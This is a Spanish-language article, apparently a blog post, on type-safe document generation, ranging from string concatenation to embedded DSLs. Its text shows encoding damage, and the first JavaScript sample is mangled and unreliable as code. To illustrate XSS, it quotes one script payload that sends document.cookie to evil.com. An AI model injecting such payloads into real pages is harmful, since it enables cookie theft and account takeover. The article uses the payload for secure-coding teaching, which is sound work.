Explora la creaci贸n de documentos, desde la concatenaci贸n de cadenas arriesgada hasta los DSL robustos y con seguridad de tipos.
M谩s all谩 del Blob: Una gu铆a completa para la generaci贸n de informes con seguridad de tipos
Hay un temor silencioso que muchos desarrolladores de software conocen bien. Es la sensaci贸n que acompa帽a al hacer clic en el bot贸n "Generar informe" en una aplicaci贸n compleja. 驴El PDF se renderizar谩 correctamente? 驴Los datos de la factura se alinear谩n? 驴O llegar谩 momentos despu茅s un ticket de soporte con una captura de pantalla de un documento roto, lleno de feos valores `null`, columnas desalineadas, o peor a煤n, un error cr铆ptico del servidor?
Esta incertidumbre proviene de un problema fundamental en la forma en que a menudo abordamos la generaci贸n de documentos. Tratamos la salida, ya sea un archivo PDF, DOCX o HTML, como un blob de texto no estructurado. Unimos cadenas, pasamos objetos de datos definidos de forma flexible en plantillas y esperamos lo mejor. Este enfoque, basado en la esperanza m谩s que en la verificaci贸n, es una receta para errores en tiempo de ejecuci贸n, dolores de cabeza de mantenimiento y sistemas fr谩giles.
Hay una manera mejor. Al aprovechar el poder del tipado est谩tico, podemos transformar la generaci贸n de informes de un arte de alto riesgo en una ciencia predecible. Este es el mundo de la generaci贸n de informes con seguridad de tipos, una pr谩ctica donde el compilador se convierte en nuestro socio de garant铆a de calidad m谩s confiable, garantizando que nuestras estructuras de documentos y los datos que los completan est茅n siempre sincronizados. Esta gu铆a es un viaje a trav茅s de los diferentes m茅todos de creaci贸n de documentos, trazando un curso desde los ca贸ticos p谩ramos de la manipulaci贸n de cadenas hasta el mundo disciplinado y resistente de los sistemas con seguridad de tipos. Para desarrolladores, arquitectos y l铆deres t茅cnicos que buscan construir aplicaciones robustas, mantenibles y sin errores, este es su mapa.
El espectro de generaci贸n de documentos: de la anarqu铆a a la arquitectura
No todas las t茅cnicas de generaci贸n de documentos son iguales. Existen en un espectro de seguridad, mantenibilidad y complejidad. Comprender este espectro es el primer paso para elegir el enfoque correcto para su proyecto. Podemos visualizarlo como un modelo de madurez con cuatro niveles distintos:
- Nivel 1: Concatenaci贸n de cadenas sin formato: el m茅todo m谩s b谩sico y peligroso, donde los documentos se construyen uniendo manualmente cadenas de texto y datos.
- Nivel 2: Motores de plantillas: una mejora significativa que separa la presentaci贸n (la plantilla) de la l贸gica (los datos), pero a menudo carece de una fuerte conexi贸n entre los dos.
- Nivel 3: Modelos de datos fuertemente tipados: el primer paso real hacia la seguridad de tipos, donde se garantiza que el objeto de datos pasado a una plantilla es estructuralmente correcto, aunque el uso que la plantilla hace de 茅l no lo es.
- Nivel 4: Sistemas totalmente con seguridad de tipos: el pin谩culo de la confiabilidad, donde el compilador comprende y valida todo el proceso, desde la obtenci贸n de datos hasta la estructura final del documento, utilizando plantillas con reconocimiento de tipos o lenguajes espec铆ficos de dominio (DSL) basados en c贸digo.
A medida que avanzamos en este espectro, estamos intercambiando un poco de velocidad inicial y simplista por enormes ganancias en estabilidad a largo plazo, confianza del desarrollador y facilidad de refactorizaci贸n. Exploremos cada nivel en detalle.
Nivel 1: El "Salvaje Oeste" de la concatenaci贸n de cadenas sin formato
En la base de nuestro espectro se encuentra la t茅cnica m谩s antigua y directa: construir un documento uniendo literalmente cadenas. A menudo comienza inocentemente, impulsado por el pensamiento: "Es solo un poco de texto, 驴qu茅 tan dif铆cil puede ser?"
En la pr谩ctica, podr铆a verse algo como esto en un lenguaje como JavaScript:
(Ejemplo de c贸digo)
Customer: ' + invoice.customer.name + 'function createSimpleInvoiceHtml(invoice) {
let html = '';
html += 'Invoice #' + invoice.id + '
';
html += '
html += '
'; ';Item Price
for (const item of invoice.items) {
html += ' ';' + item.name + ' ' + item.price + '
}
html += '
html += '';
return html;
}
Incluso en este ejemplo trivial, las semillas del caos est谩n sembradas. Este enfoque est谩 plagado de peligros, y sus debilidades se vuelven evidentes a medida que la complejidad crece.
La ca铆da: un cat谩logo de riesgos
- Errores estructurales: una etiqueta `` o `` de cierre olvidada, una comilla mal colocada o un anidamiento incorrecto pueden provocar que un documento no se analice por completo. Si bien los navegadores web son famosos por ser indulgentes con el HTML roto, un analizador XML estricto o un motor de renderizado de PDF simplemente se bloquear谩.
- Pesadillas de formato de datos: 驴Qu茅 sucede si `invoice.id` es `null`? La salida se convierte en "Invoice #null". 驴Qu茅 sucede si `item.price` es un n煤mero que necesita formatearse como moneda? Esa l贸gica se entrelaza desordenadamente con la construcci贸n de cadenas. El formato de fecha se convierte en un dolor de cabeza recurrente.
- La trampa de la refactorizaci贸n: imagina una decisi贸n en todo el proyecto de renombrar la propiedad `customer.name` a `customer.legalName`. Su compilador no puede ayudarlo aqu铆. Ahora est谩 en una peligrosa misi贸n de `buscar y reemplazar` a trav茅s de una base de c贸digo llena de cadenas m谩gicas, rezando para no perder una.
- Cat谩strofes de seguridad: este es el fallo m谩s cr铆tico. Si alg煤n dato, como `item.name`, proviene de la entrada del usuario y no est谩 rigurosamente saneado, tiene un enorme agujero de seguridad. Una entrada como `<script>fetch('//evil.com/steal?c=' + document.cookie)</script>` crea una vulnerabilidad de Cross-Site Scripting (XSS) que puede comprometer los datos de sus usuarios.
Veredicto: La concatenaci贸n de cadenas sin formato es una responsabilidad. Su uso debe restringirse a los casos m谩s simples, como el registro interno, donde la estructura y la seguridad no son cr铆ticas. Para cualquier documento orientado al usuario o cr铆tico para el negocio, debemos avanzar en el espectro.
Nivel 2: Buscar refugio con los motores de plantillas
Reconociendo el caos del Nivel 1, el mundo del software desarroll贸 un paradigma mucho mejor: los motores de plantillas. La filosof铆a rectora es la separaci贸n de preocupaciones. La estructura y presentaci贸n del documento (la "vista") se definen en un archivo de plantilla, mientras que el c贸digo de la aplicaci贸n es responsable de proporcionar los datos (el "modelo").
Este enfoque es omnipresente. Se pueden encontrar ejemplos en todas las plataformas y lenguajes principales: Handlebars y Mustache (JavaScript), Jinja2 (Python), Thymeleaf (Java), Liquid (Ruby) y muchos m谩s. La sintaxis var铆a, pero el concepto central es universal.
Nuestro ejemplo anterior se transforma en dos partes distintas:
(Archivo de plantilla: `invoice.hbs`)
<html><body>
<h1>Invoice #{{id}}</h1>
<p>Customer: {{customer.name}}</p>
<table>
<tr><th>Item</th><th>Price</th></tr>
{{#each items}}
<tr><td>{{name}}</td><td>{{price}}</td></tr>
{{/each}}
</table>
</body></html>
(C贸digo de la aplicaci贸n)
const template = Handlebars.compile(templateString);
const invoiceData = {
id: 'INV-123',
customer: { name: 'Global Tech Inc.' },
items: [
{ name: 'Enterprise License', price: 5000 },
{ name: 'Support Contract', price: 1500 }
]
};
const html = template(invoiceData);
El gran salto adelante
- Legibilidad y mantenibilidad: la plantilla es limpia y declarativa. Se parece al documento final. Esto hace que sea mucho m谩s f谩cil de entender y modificar, incluso para los miembros del equipo con menos experiencia en programaci贸n, como los dise帽adores.
- Seguridad incorporada: la mayor铆a de los motores de plantillas maduros realizan el escape de salida sensible al contexto de forma predeterminada. Si `customer.name` contuviera HTML malicioso, se representar铆a como texto inofensivo (por ejemplo, `<script>` se convierte en `<script>`), mitigando los ataques XSS m谩s comunes.
- Reutilizaci贸n: las plantillas se pueden componer. Los elementos comunes como los encabezados y los pies de p谩gina se pueden extraer en "parciales" y reutilizar en muchos documentos diferentes, promoviendo la coherencia y reduciendo la duplicaci贸n.
El fantasma persistente: el contrato "tipado por cadenas"
A pesar de estas enormes mejoras, el Nivel 2 tiene una falla cr铆tica. La conexi贸n entre el c贸digo de la aplicaci贸n (`invoiceData`) y la plantilla (`{{customer.name}}`) se basa en cadenas. El compilador, que comprueba meticulosamente nuestro c贸digo en busca de errores, no tiene absolutamente ninguna idea del archivo de la plantilla. Ve `'customer.name'` como otra cadena, no como un v铆nculo vital con nuestra estructura de datos.
Esto lleva a dos modos de falla comunes e insidiosos:
- El error tipogr谩fico: un desarrollador escribe por error `{{customer.nane}}` en la plantilla. No hay ning煤n error durante el desarrollo. El c贸digo se compila, la aplicaci贸n se ejecuta y el informe se genera con un espacio en blanco donde deber铆a estar el nombre del cliente. Esta es una falla silenciosa que podr铆a no detectarse hasta que llegue a un usuario.
- La refactorizaci贸n: un desarrollador, con el objetivo de mejorar la base de c贸digo, renombra el objeto `customer` a `client`. El c贸digo se actualiza y el compilador est谩 contento. Pero la plantilla, que todav铆a contiene `{{customer.name}}`, ahora est谩 rota. Cada informe generado ser谩 incorrecto, y este error cr铆tico solo se descubrir谩 en tiempo de ejecuci贸n, probablemente en producci贸n.
Los motores de plantillas nos dan una casa m谩s segura, pero la base sigue siendo inestable. Necesitamos reforzarlo con tipos.
Nivel 3: El "plano tipado" - Fortalecimiento con modelos de datos
Este nivel representa un cambio filos贸fico crucial: "Los datos que env铆o a la plantilla deben ser correctos y estar bien definidos". Dejamos de pasar objetos an贸nimos y con estructura flexible y, en cambio, definimos un contrato estricto para nuestros datos utilizando las caracter铆sticas de un lenguaje con tipado est谩tico.
En TypeScript, esto significa usar una `interface`. En C# o Java, una `class`. En Python, un `TypedDict` o `dataclass`. La herramienta es espec铆fica del lenguaje, pero el principio es universal: cree un plano para los datos.
Evolucionemos nuestro ejemplo usando TypeScript:
(Definici贸n de tipo: `invoice.types.ts`)
interface InvoiceItem {
name: string;
price: number;
quantity: number;
}
interface Customer {
name: string;
address: string;
}
interface InvoiceViewModel {
id: string;
issueDate: Date;
customer: Customer;
items: InvoiceItem[];
totalAmount: number;
}
(C贸digo de la aplicaci贸n)
function generateInvoice(data: InvoiceViewModel): string {
// El compilador ahora *garantiza* que 'data' tiene la forma correcta.
const template = Handlebars.compile(getInvoiceTemplate());
return template(data);
}
Lo que esto soluciona
Esto cambia las reglas del juego para el lado del c贸digo de la ecuaci贸n. Hemos resuelto la mitad del problema de la seguridad de tipos.
- Prevenci贸n de errores: ahora es imposible para un desarrollador construir un objeto `InvoiceViewModel` no v谩lido. Olvidar un campo, proporcionar un `string` para `totalAmount` o escribir mal una propiedad resultar谩 en un error inmediato en tiempo de compilaci贸n.
- Experiencia de desarrollador mejorada: el IDE ahora proporciona autocompletado, comprobaci贸n de tipos y documentaci贸n en l铆nea cuando construimos el objeto de datos. Esto acelera dr谩sticamente el desarrollo y reduce la carga cognitiva.
- C贸digo autodocumentado: la interfaz `InvoiceViewModel` sirve como documentaci贸n clara e inequ铆voca de los datos que requiere la plantilla de la factura.
El problema sin resolver: la 煤ltima milla
Si bien hemos construido un castillo fortificado en el c贸digo de nuestra aplicaci贸n, el puente a la plantilla todav铆a est谩 hecho de cadenas fr谩giles y no inspeccionadas. El compilador ha validado nuestro `InvoiceViewModel`, pero sigue siendo completamente ignorante del contenido de la plantilla. El problema de la refactorizaci贸n persiste: si renombramos `customer` a `client` en nuestra interfaz de TypeScript, el compilador nos ayudar谩 a corregir nuestro c贸digo, pero no nos advertir谩 que el marcador de posici贸n `{{customer.name}}` en la plantilla ahora est谩 roto. El error a煤n se pospone hasta el tiempo de ejecuci贸n.
Para lograr una verdadera seguridad de extremo a extremo, debemos cerrar esta brecha final y hacer que el compilador sea consciente de la plantilla en s铆.
Nivel 4: La "Alianza del compilador" - Logrando una verdadera seguridad de tipos
Este es el destino. En este nivel, creamos un sistema donde el compilador comprende y valida la relaci贸n entre el c贸digo, los datos y la estructura del documento. Es una alianza entre nuestra l贸gica y nuestra presentaci贸n. Hay dos caminos principales para lograr este estado del arte en confiabilidad.
Ruta A: Plantillas con reconocimiento de tipos
La primera ruta mantiene la separaci贸n de plantillas y c贸digo, pero agrega un paso crucial en tiempo de compilaci贸n que los conecta. Esta herramienta inspecciona tanto nuestras definiciones de tipo como nuestras plantillas, asegurando que est茅n perfectamente sincronizadas.
Esto puede funcionar de dos maneras:
- Validaci贸n de c贸digo a plantilla: un complemento de linter o compilador lee su tipo `InvoiceViewModel` y luego escanea todos los archivos de plantilla asociados. Si encuentra un marcador de posici贸n como `{{customer.nane}}` (un error tipogr谩fico) o `{{customer.email}}` (una propiedad inexistente), lo marca como un error en tiempo de compilaci贸n.
- Generaci贸n de plantilla a c贸digo: el proceso de compilaci贸n se puede configurar para leer primero el archivo de la plantilla y generar autom谩ticamente la interfaz de TypeScript o la clase C# correspondiente. Esto convierte la plantilla en la "fuente de la verdad" de la forma de los datos.
Este enfoque es una caracter铆stica principal de muchos frameworks de interfaz de usuario modernos. Por ejemplo, Svelte, Angular y Vue (con su extensi贸n Volar) proporcionan una integraci贸n estrecha en tiempo de compilaci贸n entre la l贸gica del componente y las plantillas HTML. En el mundo del backend, las vistas Razor de ASP.NET con la directiva `@model` fuertemente tipada logran el mismo objetivo. La refactorizaci贸n de una propiedad en la clase de modelo C# causar谩 inmediatamente un error de compilaci贸n si esa propiedad todav铆a se hace referencia en la vista `.cshtml`.
Ventajas:
- Mantiene una clara separaci贸n de preocupaciones, lo cual es ideal para equipos donde los dise帽adores o especialistas de front-end pueden necesitar editar plantillas.
- Proporciona lo "mejor de ambos mundos": la legibilidad de las plantillas y la seguridad del tipado est谩tico.
Contras:
- Dependiente en gran medida de frameworks y herramientas de compilaci贸n espec铆ficos. Implementar esto para un motor de plantillas gen茅rico como Handlebars en un proyecto personalizado puede ser complejo.
- El ciclo de retroalimentaci贸n podr铆a ser un poco m谩s lento, ya que se basa en un paso de compilaci贸n o linting para detectar errores.
Ruta B: Construcci贸n de documentos a trav茅s de c贸digo (DSL incorporados)
La segunda ruta, y a menudo la m谩s poderosa, es eliminar por completo los archivos de plantilla separados. En cambio, definimos la estructura del documento mediante programaci贸n utilizando todo el poder y la seguridad de nuestro lenguaje de programaci贸n anfitri贸n. Esto se logra a trav茅s de un Lenguaje Espec铆fico de Dominio (DSL) incorporado.
Un DSL es un mini-lenguaje dise帽ado para una tarea espec铆fica. Un DSL "incorporado" no inventa una nueva sintaxis; utiliza las caracter铆sticas del lenguaje anfitri贸n (como funciones, objetos y encadenamiento de m茅todos) para crear una API fluida y expresiva para construir documentos.
Nuestro c贸digo de generaci贸n de facturas ahora podr铆a verse as铆, utilizando una biblioteca de TypeScript ficticia pero representativa:
(Ejemplo de c贸digo usando un DSL)
import { Document, Page, Heading, Paragraph, Table, Cell, Row } from 'safe-document-builder';
function generateInvoiceDocument(data: InvoiceViewModel): Document {
return Document.create()
.add(Page.create()
.add(Heading.H1(`Invoice #${data.id}`))
.add(Paragraph.from(`Customer: ${data.customer.name}`)) // 隆Si renombramos 'customer', esta l铆nea se rompe en tiempo de compilaci贸n!
.add(Table.create()
.withHeaders([ 'Item', 'Quantity', 'Price' ])
.addRows(data.items.map(item =>
Row.from([
Cell.from(item.name),
Cell.from(item.quantity),
Cell.from(item.price)
])
))
)
);
}
Ventajas:
- Seguridad de tipos incondicional: todo el documento es solo c贸digo. El compilador valida cada acceso a la propiedad, cada llamada a la funci贸n. La refactorizaci贸n es 100% segura y con la ayuda del IDE. No existe la posibilidad de un error en tiempo de ejecuci贸n debido a una incompatibilidad de datos/estructura.
- M谩ximo poder y flexibilidad: no est谩 limitado por la sintaxis de un lenguaje de plantilla. Puede usar bucles, condicionales, funciones auxiliares, clases y cualquier patr贸n de dise帽o que admita su lenguaje para abstraer la complejidad y construir documentos altamente din谩micos. Por ejemplo, puede crear una `function createReportHeader(data): Component` y reutilizarla con total seguridad de tipos.
- Capacidad de prueba mejorada: la salida del DSL suele ser un 谩rbol de sintaxis abstracta (un objeto estructurado que representa el documento) antes de que se represente en un formato final como PDF. Esto permite pruebas unitarias potentes, donde puede afirmar que la estructura de datos de un documento generado tiene exactamente 5 filas en su tabla principal, sin realizar nunca una comparaci贸n visual lenta y defectuosa de un archivo renderizado.
Contras:
- Flujo de trabajo dise帽ador-desarrollador: este enfoque difumina la l铆nea entre la presentaci贸n y la l贸gica. Un no programador no puede modificar f谩cilmente el dise帽o o copiar editando un archivo; todos los cambios deben pasar por un desarrollador.
- Verbosidad: para documentos muy simples y est谩ticos, un DSL puede parecer m谩s verboso que una plantilla concisa.
- Dependencia de la biblioteca: la calidad de su experiencia depende por completo del dise帽o y las capacidades de la biblioteca DSL subyacente.
Un marco de decisi贸n pr谩ctico: elegir su nivel
Conociendo el espectro, 驴c贸mo elige el nivel adecuado para su proyecto? La decisi贸n se basa en algunos factores clave.
Eval煤e la complejidad de su documento
- Simple: para un correo electr贸nico de restablecimiento de contrase帽a o una notificaci贸n b谩sica, el Nivel 3 (Modelo tipado + Plantilla) suele ser el punto 贸ptimo. Proporciona una buena seguridad en el lado del c贸digo con una sobrecarga m铆nima.
- Moderado: para documentos comerciales est谩ndar como facturas, presupuestos o informes resumidos semanales, el riesgo de deriva de plantilla/c贸digo se vuelve significativo. Un enfoque de Nivel 4A (Plantilla con reconocimiento de tipos), si est谩 disponible en su pila, es un fuerte contendiente. Un DSL simple (Nivel 4B) tambi茅n es una excelente opci贸n.
- Complejo: para documentos altamente din谩micos como estados financieros, contratos legales con cl谩usulas condicionales o p贸lizas de seguro, el costo de un error es inmenso. La l贸gica es intrincada. Un DSL (Nivel 4B) es casi siempre la mejor opci贸n por su poder, capacidad de prueba y mantenibilidad a largo plazo.
Considere la composici贸n de su equipo
- Equipos multifuncionales: si su flujo de trabajo involucra dise帽adores o administradores de contenido que editan directamente las plantillas, un sistema que preserve esos archivos de plantilla es crucial. Esto convierte un enfoque de Nivel 4A (Plantilla con reconocimiento de tipos) en el compromiso ideal, brind谩ndoles el flujo de trabajo que necesitan y a los desarrolladores la seguridad que requieren.
- Equipos con gran cantidad de backend: para equipos compuestos principalmente por ingenieros de software, la barrera para adoptar un DSL (Nivel 4B) es muy baja. Los enormes beneficios en seguridad y poder a menudo la convierten en la opci贸n m谩s eficiente y robusta.
Eval煤e su tolerancia al riesgo
驴Qu茅 tan cr铆tico es este documento para su negocio? Un error en un panel de administraci贸n interno es un inconveniente. Un error en una factura de cliente de varios millones de d贸lares es una cat谩strofe. Un error en un documento legal generado podr铆a tener graves implicaciones de cumplimiento. Cuanto mayor sea el riesgo comercial, m谩s fuerte ser谩 el argumento para invertir en el nivel m谩ximo de seguridad que proporciona el Nivel 4.
Bibliotecas y enfoques notables en el ecosistema global
Estos conceptos no son solo te贸ricos. Existen excelentes bibliotecas en muchas plataformas que permiten la generaci贸n de documentos con seguridad de tipos.
- TypeScript/JavaScript: React PDF es un excelente ejemplo de un DSL, que le permite crear archivos PDF utilizando componentes React familiares y seguridad de tipos completa con TypeScript. Para documentos basados en HTML (que luego se pueden convertir a PDF a trav茅s de herramientas como Puppeteer o Playwright), el uso de un framework como React (con JSX/TSX) o Svelte para generar el HTML proporciona una canalizaci贸n totalmente segura para los tipos.
- C#/.NET: QuestPDF es una biblioteca moderna de c贸digo abierto que ofrece un DSL fluido y bellamente dise帽ado para generar documentos PDF, lo que demuestra lo elegante y potente que puede ser el enfoque de Nivel 4B. El motor Razor nativo con directivas `@model` fuertemente tipadas es un ejemplo de primera clase de Nivel 4A.
- Java/Kotlin: La biblioteca kotlinx.html proporciona un DSL con seguridad de tipos para construir HTML. Para archivos PDF, bibliotecas maduras como OpenPDF o iText proporcionan API program谩ticas que, aunque no son DSL listas para usar, se pueden incluir en un patr贸n de constructor personalizado con seguridad de tipos para lograr los mismos objetivos.
- Python: Si bien es un lenguaje con tipado din谩mico, el soporte robusto para sugerencias de tipo (m贸dulo `typing`) permite a los desarrolladores acercarse mucho m谩s a la seguridad de tipos. El uso de una biblioteca program谩tica como ReportLab junto con clases de datos estrictamente tipadas y herramientas como MyPy para el an谩lisis est谩tico puede reducir significativamente el riesgo de errores en tiempo de ejecuci贸n.
Conclusi贸n: de las cadenas fr谩giles a los sistemas resilientes
El viaje desde la concatenaci贸n de cadenas sin formato hasta los DSL con seguridad de tipos es m谩s que una simple actualizaci贸n t茅cnica; es un cambio fundamental en la forma en que abordamos la calidad del software. Se trata de mover la detecci贸n de toda una clase de errores del caos impredecible del tiempo de ejecuci贸n al entorno tranquilo y controlado de su editor de c贸digo.
Al tratar los documentos no como bloques de texto arbitrarios sino como datos estructurados y tipados, construimos sistemas que son m谩s robustos, m谩s f谩ciles de mantener y m谩s seguros de cambiar. El compilador, que antes era un simple traductor de c贸digo, se convierte en un vigilante guardi谩n de la correcci贸n de nuestra aplicaci贸n.
La seguridad de tipos en la generaci贸n de informes no es un lujo acad茅mico. En un mundo de datos complejos y altas expectativas de los usuarios, es una inversi贸n estrat茅gica en calidad, productividad del desarrollador y resiliencia empresarial. La pr贸xima vez que se le encomiende la tarea de generar un documento, no solo espere que los datos se ajusten a la plantilla: demu茅strelo con su sistema de tipos.